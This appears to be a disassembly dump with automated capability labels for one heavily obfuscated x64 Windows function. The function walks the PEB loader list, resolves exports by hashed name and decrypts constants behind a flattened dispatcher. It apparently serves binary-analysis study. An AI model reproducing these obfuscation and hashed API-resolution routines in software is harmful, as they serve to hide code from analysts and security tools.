Function at 0x14009527b
Capabilities:
Access peb ldr_data
Encrypt data using speck
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x684ee6aa
pushf
not eax
add eax, 0x32e86d65
xor eax, 0x6f8e5ab9
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x552fa525
xor eax, 0x763d9c4b
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x3645e8b8
xor eax, 0x1053931e
rol eax, 6
popf
cmp eax, 0
jne 0x1400952cb
popf
pop rax
jmp 0x140095550
cmp eax, 0x29
jne 0x1400952da
popf
pop rax
jmp 0x140096f28
cmp eax, 0x14
jne 0x1400952e9
popf
pop rax
jmp 0x1400962d1
cmp eax, 0x22
jne 0x1400952f8
popf
pop rax
jmp 0x140096b8a
cmp eax, 0x1e
jne 0x140095307
popf
pop rax
jmp 0x140096884
cmp eax, 3
jne 0x140095316
popf
pop rax
jmp 0x140095721
cmp eax, 0xd
jne 0x140095325
popf
pop rax
jmp 0x140095cf0
cmp eax, 0x15
jne 0x140095334
popf
pop rax
jmp 0x1400963bf
cmp eax, 0x12
jne 0x140095343
popf
pop rax
jmp 0x14009618f
cmp eax, 5
jne 0x140095352
popf
pop rax
jmp 0x14009580b
cmp eax, 0xc
jne 0x140095361
popf
pop rax
jmp 0x140095c8e
cmp eax, 9
jne 0x140095370
popf
pop rax
jmp 0x140095ae2
cmp eax, 0x20
jne 0x14009537f
popf
pop rax
jmp 0x140096994
cmp eax, 6
jne 0x14009538e
popf
pop rax
jmp 0x140095925
cmp eax, 0x13
jne 0x14009539d
popf
pop rax
jmp 0x14009629d
cmp eax, 1
jne 0x1400953ac
popf
pop rax
jmp 0x14009560e
cmp eax, 0xf
jne 0x1400953bb
popf
pop rax
jmp 0x140095fe3
cmp eax, 0x2a
jne 0x1400953ca
popf
pop rax
jmp 0x140096fab
cmp eax, 0xb
jne 0x1400953d9
popf
pop rax
jmp 0x140095bf7
cmp eax, 8
jne 0x1400953e8
popf
pop rax
jmp 0x140095a49
cmp eax, 0x21
jne 0x1400953f7
popf
pop rax
jmp 0x140096aa9
cmp eax, 0x27
jne 0x140095406
popf
pop rax
jmp 0x140096e7e
cmp eax, 4
jne 0x140095415
popf
pop rax
jmp 0x1400957c9
cmp eax, 0xe
jne 0x140095424
popf
pop rax
jmp 0x140095f8c
cmp eax, 0x25
jne 0x140095433
popf
pop rax
jmp 0x140096d5e
cmp eax, 0x28
jne 0x140095442
popf
pop rax
jmp 0x140096ed4
cmp eax, 0x19
jne 0x140095451
popf
pop rax
jmp 0x140096604
cmp eax, 0x23
jne 0x140095460
popf
pop rax
jmp 0x140096c23
cmp eax, 0x11
jne 0x14009546f
popf
pop rax
jmp 0x14009613a
cmp eax, 0x24
jne 0x14009547e
popf
pop rax
jmp 0x140096cc7
cmp eax, 0xa
jne 0x14009548d
popf
pop rax
jmp 0x140095b73
cmp eax, 0x18
jne 0x14009549c
popf
pop rax
jmp 0x14009656d
cmp eax, 0x1a
jne 0x1400954ab
popf
pop rax
jmp 0x140096640
cmp eax, 2
jne 0x1400954ba
popf
pop rax
jmp 0x14009565f
cmp eax, 0x1f
jne 0x1400954c9
popf
pop rax
jmp 0x14009693f
cmp eax, 0x17
jne 0x1400954d8
popf
pop rax
jmp 0x1400964d6
cmp eax, 7
jne 0x1400954e7
popf
pop rax
jmp 0x14009596c
cmp eax, 0x1c
jne 0x1400954f6
popf
pop rax
jmp 0x14009677c
cmp eax, 0x26
jne 0x140095505
popf
pop rax
jmp 0x140096e1b
cmp eax, 0x1d
jne 0x140095514
popf
pop rax
jmp 0x1400967e8
cmp eax, 0x2b
jne 0x140095523
popf
pop rax
jmp 0x14009701b
cmp eax, 0x10
jne 0x140095532
popf
pop rax
jmp 0x140096092
cmp eax, 0x16
jne 0x140095541
popf
pop rax
jmp 0x14009646b
cmp eax, 0x1b
jne 0x140095550
popf
pop rax
jmp 0x1400966e0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1400441f0]
mov r13, rdx
mov r12, rcx
test rax, rax
jne 0x1400955db
push rax
pushf
mov eax, 0x70a2307e
pushf
not eax
add eax, 0x27a237a8
xor eax, 0x2ccf4c82
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x2d11a410
xor eax, 0x79c2ed06
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x5d35b687
xor eax, 0x15a4c2f2
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x3b3f7b13
xor eax, 0x5a7fb271
rol eax, 0xd5
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x8a310414
pushf
not eax
add eax, 0x6d7da697
xor eax, 0x461c4281
rol eax, 0x39
popf
pushf
not eax
add eax, 0x5e03e237
xor eax, 0x56b941d6
rol eax, 0xbb
popf
jmp 0x1400952bc
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop dword [rax]
push rax
pushf
mov eax, 0x26ff1364
pushf
not eax
add eax, 0x525a257e
xor eax, 0x465b2be0
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x6a8b8526
xor eax, 0x30929825
rol eax, 0xd2
popf
jmp 0x1400952bc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x1400956c8
push rax
pushf
mov eax, 0x6b2ebcda
pushf
not eax
add eax, 0x4ed51d43
xor eax, 0x40788945
rol eax, 0x62
popf
pushf
not eax
add eax, 0x2460e6c9
xor eax, 0x78ef7703
rol eax, 0x16
popf
pushf
not eax
add eax, 0x57c3b3fb
xor eax, 0x1348b76d
rol eax, 0x17
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x1b7d8257
pushf
not eax
add eax, 0x3af2ad4f
xor eax, 0x625a46d7
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x28e4578e
xor eax, 0x61b7cf26
rol eax, 0x67
popf
pushf
not eax
add eax, 0x5396b62d
xor eax, 0x64c6bd1c
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x34284ead
xor eax, 0x7dfd402e
rol eax, 0x52
popf
jmp 0x1400952bc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x140095783
push rax
pushf
mov eax, 0x8c5286d2
pushf
not eax
add eax, 0x1130bd36
xor eax, 0x57fd73d3
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x1da4d7f1
xor eax, 0x694e570e
rol eax, 0x38
popf
pushf
not eax
add eax, 0x44a280f
xor eax, 0x54d3ca05
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x1e3a8ae2
xor eax, 0x65016da
rol eax, 0x29
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x32856c97
pushf
not eax
add eax, 0x143a8b65
xor eax, 0x389f83a3
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x468d6857
xor eax, 0xaab1c61
rol eax, 0x60
popf
pushf
not eax
add eax, 0x13610665
xor eax, 0x15e21ec1
rol eax, 0x81
popf
jmp 0x1400952bc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x67bdb128
pushf
not eax
add eax, 0x58aa5a8b
xor eax, 0xd94a6c0
rol eax, 0x94
popf
pushf
not eax
add eax, 0x28a9d174
xor eax, 0x2e79f9f6
rol eax, 0xe0
popf
jmp 0x1400952bc
dec r10d
mov r9d, 0x99f0ccf0
pushf
not r9d
add r9d, 0x5de12ee
xor r9d, 0x1ae98d57
rol r9d, 0x72
popf
pushf
not r9d
add r9d, 0xc791089
xor r9d, 0x33edae82
rol r9d, 0x1d
popf
pushf
not r9d
add r9d, 0x67fa6e77
xor r9d, 0x46cc4bbf
rol r9d, 0xff
popf
pushf
not r9d
add r9d, 0x32544f9e
xor r9d, 0xf1c0c4
rol r9d, 0x34
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400958f2
push rax
pushf
mov eax, 0xae03101a
pushf
not eax
add eax, 0x510f02e4
xor eax, 0x7be1265c
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x68a10b5a
xor eax, 0x38038d82
rol eax, 0x65
popf
pushf
not eax
add eax, 0x167bb947
xor eax, 0x1798d524
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xb3082b
xor eax, 0x412f8425
rol eax, 0xb6
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x25e87ddb
pushf
not eax
add eax, 0x9b00c46
xor eax, 0x3623dd29
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x71b5a0c7
xor eax, 0x5ce4e34d
rol eax, 0xf5
popf
jmp 0x1400952bc
nop
push rax
pushf
mov eax, 0x602a1fc6
pushf
not eax
add eax, 0x37bc397e
xor eax, 0x24b7b618
rol eax, 0x96
popf
pushf
not eax
add eax, 0x7235513d
xor eax, 0x7173573f
rol eax, 0x52
popf
pushf
not eax
add eax, 0x7eed46da
xor eax, 0x3b316a2a
rol eax, 0xd9
popf
jmp 0x1400952bc
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400959f0
push rax
pushf
mov eax, 0x687c9110
pushf
not eax
add eax, 0x20598985
xor eax, 0x27b72bfb
rol eax, 0xac
popf
pushf
not eax
add eax, 0x5370016c
xor eax, 0x4ac71cd6
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xacf3366
xor eax, 0x83ab7c7
rol eax, 0x32
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x878dbe61
pushf
not eax
add eax, 0xbff13a5
xor eax, 0x63ed11b4
rol eax, 0x30
popf
pushf
not eax
add eax, 0x71ed7667
xor eax, 0x174c642c
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc14e364
xor eax, 0x333c8fd
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x62bd3428
xor eax, 0x7d47c08e
rol eax, 0xd5
popf
jmp 0x1400952bc
cmp r9d, 0x341753c0
je 0x140095a89
push rax
pushf
mov eax, 0xc59f254b
pushf
not eax
add eax, 0x1aef9901
xor eax, 0x553fdd05
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x62ed2254
xor eax, 0x6b15ca51
rol eax, 0xc2
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xb404d67f
pushf
not eax
add eax, 0x425c4c47
xor eax, 0x2f16ba2e
rol eax, 0x80
popf
pushf
not eax
add eax, 0x3f3a283e
xor eax, 0x4fd940ae
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x7559b80e
xor eax, 0x22e07ac3
rol eax, 0x34
popf
pushf
not eax
add eax, 0x2a7c2b11
xor eax, 0x4749407b
rol eax, 0xa7
popf
jmp 0x1400952bc
test r10d, r10d
jne 0x140095b2d
push rax
pushf
mov eax, 0xfb4c6786
pushf
not eax
add eax, 0x27db5181
xor eax, 0x7dd94e97
rol eax, 0xa
popf
pushf
not eax
add eax, 0x7b1ae90e
xor eax, 0x4fde33ed
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xa89038e
xor eax, 0x60b781fb
rol eax, 0xfa
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x51743c71
pushf
not eax
add eax, 0x360f03ff
xor eax, 0x2a271e7e
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xc8d3c2e
xor eax, 0x1188f7ac
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x6dace48c
xor eax, 0x55129398
rol eax, 0x8b
popf
jmp 0x1400952bc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140095bb1
push rax
pushf
mov eax, 0x24660333
pushf
not eax
add eax, 0x8a8a37c
xor eax, 0x53d2a8b4
rol eax, 0x87
popf
pushf
not eax
add eax, 0x76e6d19
xor eax, 0x3f69ee0d
rol eax, 0xdc
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xb37ab85
pushf
not eax
add eax, 0x2801198
xor eax, 0x24c76c7f
rol eax, 0x50
popf
pushf
not eax
add eax, 0x3c2475c
xor eax, 0x41b26aab
rol eax, 0x65
popf
pushf
not eax
add eax, 0x4fa3e452
xor eax, 0x32e0875a
rol eax, 0x56
popf
jmp 0x1400952bc
cmp qword [rax + 0x30], 0
jne 0x140095c5b
push rax
pushf
mov eax, 0xf2e13df1
pushf
not eax
add eax, 0xc77187c
xor eax, 0x48c87931
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x21c26768
xor eax, 0x1d76ba30
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x14bf8cf8
xor eax, 0x5924cbd4
rol eax, 0x42
popf
pushf
not eax
add eax, 0x553b50a6
xor eax, 0x13ecd3b5
rol eax, 0x41
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x9b7e24a0
pushf
not eax
add eax, 0x5af07612
xor eax, 0x6a57e4a1
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x629edef8
xor eax, 0x57333d4d
rol eax, 0xc3
popf
jmp 0x1400952bc
xor eax, eax
mov qword [0x1400441f0], rax
push rax
pushf
mov eax, 0x483bf4ad
pushf
not eax
add eax, 0x5e00ebde
xor eax, 0x5d16053d
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x7a887454
xor eax, 0x63fce91d
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x5304778
xor eax, 0x22796af2
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x58bbe7d4
xor eax, 0x43258182
rol eax, 0x60
popf
jmp 0x1400952bc
movabs rcx, 0xf0196beb196316a8
pushf
not rcx
add rcx, 0x6cb3164f
xor rcx, 0x52d84ecd
rol rcx, 0x54
popf
pushf
not rcx
add rcx, 0x2d63d626
xor rcx, 0x32c90043
rol rcx, 0xa1
popf
movabs rsi, 0x39207da5000ccfff
pushf
not rsi
add rsi, 0x23c42896
xor rsi, 0x7fcacda4
rol rsi, 0x50
popf
pushf
not rsi
add rsi, 0x1ee52c18
xor rsi, 0x3582f314
rol rsi, 0xee
popf
mov qword [rsp + 0x20], rcx
movabs rdi, 0xb198f773955f1a73
pushf
not rdi
add rdi, 0x554e014e
xor rdi, 0x20d6ebf6
rol rdi, 0xd4
popf
pushf
not rdi
add rdi, 0x67826b01
xor rdi, 0x1f4ebbf6
rol rdi, 0x2c
popf
pushf
not rdi
add rdi, 0x35cb9f3
xor rdi, 0x5ed58e84
rol rdi, 0x4b
popf
pushf
not rdi
add rdi, 0x5695a79b
xor rdi, 0x396b1763
rol rdi, 0xb7
popf
mov qword [rsp + 0x28], rsi
lea rcx, [rsp + 0x20]
movdqa xmm0, xmmword [rsp + 0x20]
movabs rbx, 0xac44e4966e41566c
pushf
not rbx
add rbx, 0x274dcd60
xor rbx, 0x6a8e2d87
rol rbx, 0x5a
popf
pushf
not rbx
add rbx, 0x53989a81
xor rbx, 0xc459811
rol rbx, 0xfc
popf
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
jmp 0x140095e3d
call rax
movabs rax, 0xd4a92f145c12a720
pushf
not rax
add rax, 0x788c2f6d
xor rax, 0x5486da5c
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x3c05e690
xor rax, 0x2ce61ad3
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x5f901a45
xor rax, 0xa320e3d
rol rax, 0x12
popf
pushf
not rax
add rax, 0x35d78196
xor rax, 0x4a0105a4
rol rax, 0x38
popf
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x20]
mov rax, qword [0x1400441e0]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
test rax, rax
jne 0x140095f33
push rax
pushf
mov eax, 0xb5288901
pushf
not eax
add eax, 0xdb9a666
xor eax, 0x7612a77
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x2cf8b7fb
xor eax, 0x1edcc3de
rol eax, 0x15
popf
pushf
not eax
add eax, 0x758ed099
xor eax, 0x4e98b1a1
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x795f038a
xor eax, 0x14b2d24c
rol eax, 0xc2
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x26f51f5b
pushf
not eax
add eax, 0x419adcca
xor eax, 0x232301d2
rol eax, 0x38
popf
pushf
not eax
add eax, 0x53b773c8
xor eax, 0x44f895f3
rol eax, 0x36
popf
pushf
not eax
add eax, 0x3f2c7d58
xor eax, 0x6dfd75eb
rol eax, 0x81
popf
pushf
not eax
add eax, 0x443b4544
xor eax, 0x6a25731f
rol eax, 0xf8
popf
jmp 0x1400952bc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x6c69c877
pushf
not eax
add eax, 0x33659ef2
xor eax, 0x39813678
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x5647fcb7
xor eax, 0x563000e3
rol eax, 0x9e
popf
jmp 0x1400952bc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x14009604c
push rax
pushf
mov eax, 0x958d8d16
pushf
not eax
add eax, 0x20fcf7e3
xor eax, 0x5b3ddabe
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x2065034f
xor eax, 0x2eb48b53
rol eax, 9
popf
pushf
not eax
add eax, 0xb12e5ce
xor eax, 0x415a2349
rol eax, 0xa4
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xf4ed3f0c
pushf
not eax
add eax, 0x388222bf
xor eax, 0x6073c713
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x3e780960
xor eax, 0x706e5cef
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf8c5fa5
xor eax, 0x6503128b
rol eax, 0x73
popf
jmp 0x1400952bc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x1400960e1
push rax
pushf
mov eax, 0x59731305
pushf
not eax
add eax, 0x680b9d34
xor eax, 0x7577b43c
rol eax, 0x81
popf
pushf
not eax
add eax, 0x70e319e8
xor eax, 0x79fcbfd3
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x24126d08
xor eax, 0x5c515c83
rol eax, 0xa2
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x808d1deb
pushf
not eax
add eax, 0x783773c7
xor eax, 0x156f71d1
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x1778395c
xor eax, 0x27ee717b
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x73b1f93a
xor eax, 0x538ce084
rol eax, 0x94
popf
pushf
not eax
add eax, 0xfee1aa6
xor eax, 0x7bb19fad
rol eax, 0xb
popf
jmp 0x1400952bc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x383e37fa
pushf
not eax
add eax, 0x3c820bbe
xor eax, 0x4336f405
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x432f1f3e
xor eax, 0x4b9bf717
rol eax, 0x99
popf
pushf
not eax
add eax, 0x3940eaa5
xor eax, 0x36f5f1ea
rol eax, 0x8f
popf
jmp 0x1400952bc
dec r10d
mov r9d, 0x8079057d
pushf
not r9d
add r9d, 0x1a198577
xor r9d, 0x7002b555
rol r9d, 0x7b
popf
pushf
not r9d
add r9d, 0x489c8b6e
xor r9d, 0x5b4d8214
rol r9d, 0x99
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx eax, byte [r8]
inc r8
test al, al
je 0x140096244
push rax
pushf
mov eax, 0x2fd9aad
pushf
not eax
add eax, 0x51f325e6
xor eax, 0x665e9172
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x24aab84a
xor eax, 0x418c4ddb
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x496feeaf
xor eax, 0x53c9b4b8
rol eax, 0x42
popf
pushf
not eax
add eax, 0x793e4106
xor eax, 0x16d1b22a
rol eax, 0x83
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xd0ba6a66
pushf
not eax
add eax, 0x53413eb3
xor eax, 0x61ca748a
rol eax, 0
popf
pushf
not eax
add eax, 0x58bad39c
xor eax, 0x29453c42
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x4712a36a
xor eax, 0x765d5e0a
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x36716101
xor eax, 0x628863c7
rol eax, 0x95
popf
jmp 0x1400952bc
nop
push rax
pushf
mov eax, 0xe22a1f36
pushf
not eax
add eax, 0x67a89476
xor eax, 0x64bf107
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x242b58bb
xor eax, 0x50d31532
rol eax, 0x65
popf
jmp 0x1400952bc
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
push rdx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and edx, r9d
pop r9
or edx, dword [rsp]
add rsp, 8
imul r9d, edx, 0x1000193
test al, al
jne 0x140096366
push rax
pushf
mov eax, 0xde1eeee3
pushf
not eax
add eax, 0x31f6dc50
xor eax, 0x7b0378f0
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x14f74a3a
xor eax, 0x6b61a6fc
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x3b9e4aff
xor eax, 0x36da2c78
rol eax, 0x76
popf
pushf
not eax
add eax, 0x2dcaada0
xor eax, 0x5539a409
rol eax, 0xc7
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x604bdc73
pushf
not eax
add eax, 0x7a06c56c
xor eax, 0x5b009d6e
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x793cb4e0
xor eax, 0x3729c1be
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x5f73a9c7
xor eax, 0xa185bd4
rol eax, 4
popf
pushf
not eax
add eax, 0x5ee25151
xor eax, 0x6b6ff157
rol eax, 0x41
popf
jmp 0x1400952bc
cmp r9d, 0x51d0e340
je 0x140096425
push rax
pushf
mov eax, 0x273bf929
pushf
not eax
add eax, 0x32254d6b
xor eax, 0x2788f1cd
rol eax, 0x40
popf
pushf
not eax
add eax, 0x4c6034e0
xor eax, 0x2300c66
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x2cfafad6
xor eax, 0x5abf8212
rol eax, 0x58
popf
pushf
not eax
add eax, 0x7594f7b3
xor eax, 0x514b629c
rol eax, 0xa
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x8d484bc8
pushf
not eax
add eax, 0x2e5d41ec
xor eax, 0x5e38c307
rol eax, 0xee
popf
pushf
not eax
add eax, 0x9758d60
xor eax, 0x4a0698df
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xde3282b
xor eax, 0x608e6c9c
rol eax, 0x1f
popf
jmp 0x1400952bc
test r10d, r10d
jne 0x1400964a3
push rax
pushf
mov eax, 0xb8b08043
pushf
not eax
add eax, 0x27cc6ac
xor eax, 0x333a7d8e
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x33107870
xor eax, 0x1452e97d
rol eax, 0xc1
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x9a690b7
pushf
not eax
add eax, 0x7b6278ea
xor eax, 0x5090fe50
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x1e556819
xor eax, 0x93fdce7
rol eax, 0x8a
popf
jmp 0x1400952bc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140096514
push rax
pushf
mov eax, 0xcfb80535
pushf
not eax
add eax, 0x6c152d23
xor eax, 0x3e2cae5e
rol eax, 5
popf
pushf
not eax
add eax, 0x68528bf9
xor eax, 0x1a2155e4
rol eax, 0xbe
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xb5989143
pushf
not eax
add eax, 0x1c0cadba
xor eax, 0x354e72de
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x28c086f6
xor eax, 0x2b3d99cb
rol eax, 0xd
popf
pushf
not eax
add eax, 0x7e232404
xor eax, 0x32038c0a
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x40a5581d
xor eax, 0x63339d74
rol eax, 0xce
popf
jmp 0x1400952bc
cmp qword [rax + 0x30], 0
jne 0x1400965d1
push rax
pushf
mov eax, 0x90972439
pushf
not eax
add eax, 0x5013aac9
xor eax, 0x469a0743
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x36bb4bb8
xor eax, 0xdf932b5
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x94d4d59
xor eax, 0xfc170ea
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x78c59c16
xor eax, 0x5d640d68
rol eax, 0x62
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xaaf10058
pushf
not eax
add eax, 0x6f2170d5
xor eax, 0x718fa761
rol eax, 0x78
popf
pushf
not eax
add eax, 0x3c66ada3
xor eax, 0x1eb01dcb
rol eax, 0x54
popf
jmp 0x1400952bc
xor eax, eax
mov qword [0x1400441e0], rax
push rax
pushf
mov eax, 0xe57b72de
pushf
not eax
add eax, 0x2d2c3d90
xor eax, 0x19bff1f6
rol eax, 0x93
popf
pushf
not eax
add eax, 0x4176c56
xor eax, 0x29dc7a7c
rol eax, 0x1c
popf
jmp 0x1400952bc
lea rcx, [rsp + 0x20]
jmp 0x140096646
call rax
mov r15, rax
test rax, rax
je 0x1400966ad
push rax
pushf
mov eax, 0x37bc795e
pushf
not eax
add eax, 0x6f17e5c5
xor eax, 0x1af173a
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf7378ad
xor eax, 0x38b621fa
rol eax, 0xb
popf
pushf
not eax
add eax, 0x55f24e7f
xor eax, 0x793308fd
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x5dbc58f7
xor eax, 0x457b441e
rol eax, 0x11
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xac899c3c
pushf
not eax
add eax, 0x21b077aa
xor eax, 0x2127839f
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x40782605
xor eax, 0x1b3812f5
rol eax, 0x1c
popf
jmp 0x1400952bc
mov r8, qword [0x1400441e8]
test r8, r8
jne 0x140096749
push rax
pushf
mov eax, 0x40936fa6
pushf
not eax
add eax, 0x2a77238d
xor eax, 0x130d16d6
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x34c74a81
xor eax, 0x461bd72f
rol eax, 0x44
popf
pushf
not eax
add eax, 0x5d771876
xor eax, 0x686e4f3b
rol eax, 0x53
popf
pushf
not eax
add eax, 0x575b489a
xor eax, 0x587215d4
rol eax, 0x52
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0xe3e86d4f
pushf
not eax
add eax, 0x6cbc36d1
xor eax, 0x374b349
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd46a4a2
xor eax, 0x52cef83e
rol eax, 0x80
popf
jmp 0x1400952bc
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbp, qword [rcx]
mov rsi, rbp
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x9b354c08
pushf
not eax
add eax, 0x4e2bf406
xor eax, 0x4cca492
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x26c7d6c2
xor eax, 0x4e53e61
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x42e42db3
xor eax, 0x286e4873
rol eax, 0xc5
popf
jmp 0x1400952bc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x140096851
push rax
pushf
mov eax, 0x384b4956
pushf
not eax
add eax, 0x7d177e34
xor eax, 0x76781e8b
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x119589ea
xor eax, 0x2e37462c
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x58bfa316
xor eax, 0x48423c4b
rol eax, 0x2e
popf
jmp 0x1400952bc
push rax
pushf
mov eax, 0x1d9b18c4
pushf
not eax
add eax, 0x6f553d67
xor eax, 0x79b324f7
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x4ff00b4a
xor eax, 0x4ebf6b25
rol eax, 0x90
popf
jmp 0x1400952bc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x1400968e6
push rax
pushf
mov eax, 0xc760cf9b
pushf
not eax
add eax, 0x5cc17c89
xor eax, 0x6fecefac
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x110370e0
xor eax, 0x7dcf73b5
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x2d9be44d
xor eax, 0x4e055423
rol eax, 0x81
popf
pushf
not eax
add eax, 0x4eedf467
xor eax, 0x1c3a6fca
rol eax, 0xc0
popf
jmp 0x1400952bc
